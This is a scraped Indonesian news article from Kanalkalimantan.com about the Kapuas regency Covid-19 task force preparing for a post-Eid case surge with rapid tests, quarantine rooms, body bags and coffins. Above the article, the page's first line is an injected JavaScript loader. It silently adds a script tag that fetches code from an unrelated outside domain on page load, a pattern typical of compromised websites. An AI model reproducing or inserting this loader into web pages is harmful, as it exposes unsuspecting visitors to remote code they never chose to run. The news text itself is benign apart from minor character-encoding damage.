(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pasca Hari Raya Idul Fitri 1441 H, jumlah orang terkonfirmasi positif Virus Corona (Covid-19) diprediksi akan melonjak. Hal ini lantaran padatnya aktivitas dan interaksi yang terjadi di masyarakat.
Mengantisipasi hal tersebut, sejumlah langkah dilakukan tim gugus tugas P2 Covid-19 Kabupaten Kapuas. Yakni dengan penyediaan ribuan rapid test untuk melacak perkembangan kasus Covid-19 lebih detail.
Tak hanya itu, bahkan langkah paling ekstrem termasuk penyediqaan puluhan kantong mayat dan peti jenazah juga dilakukan. Hal ini disampaikan Ketua Harian Tim Gugus Tugas Percepatan dan penanganan Covid 19 Kabupaten Kapuas Panahatan Sinaga, Minggu (24/5/2020) sore. “Kita tak bisa berbuat apa-apa, selain melakukan imbauan. Berharap, masyarakat bisa patuh. Lonjakan kasus terkonfirmasi positif, beberapa hari terakhir sudah mulai terasa terbukti dengan penambahan yang cukup signifikan,†ujar Sinaga.
Lonjakan kasus yang terkonfirmasi positif Covid-19 di Kapuas sudah mulai terasa. Karena dalam beberapa hari ini, terjadi penambahan yang cukup signifikan sehingga mencapai angka 62 kasus positif. Menurutnya, lonjakan kasus perlu dihadapi dengan target menyediakan kasur-kasur yang terbagi di beberapa rumah karantina.
“Fasilitas karantina khusus, juga sudah disiapkan. Sebab, tempat karantina khusus Covid-19 di perumahan NSD di Jalan pemuda takutnya tidak mencukupi. Saat ini, sedang dipersiapkan ruang karantina yang lain,†ungkapnya.
Bahkan, puluhan kantong mayat dan ratusan peti jenazah telah disiapkan, karena masyarakat Kapuas banyak belum sadar bahaya virus yang dapat merenggut nyawa mereka.
Sinaga mengaku, semua akan sulit terwujud apabila tanpa dukungan dan peran serta masyarakat dalam memutus mata rantai penyebaran Covid-19.Terutama, dalam menjaga jarak, tidak membuat perkumpulan, melakukan physical distancing, dan berperilaku hidup bersih dan sehat.
“Kalau masyarakat tetap tidak mengikuti anjuran pemerintah, percuma apa yang dilakukan tim gugus tugas selama ini, sebab angka yang terpapar melonjak dengan signifikan di wilayah kita, bahkan tertinggi dikalteng,” Terang Panahatan Sinaga, Ketua Harian Gugus Tugas P2 Covid-19.
Corona Virus Disease (Covid-19) tidak ada kata kompromi bila akan menyerang. Hal buruk pasti akan terjadi kalau masyarakat Kapuas tidak sadar dan tidak mematuhi anjuran pemerintah. (Kanalkalimantan.com/Ags)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.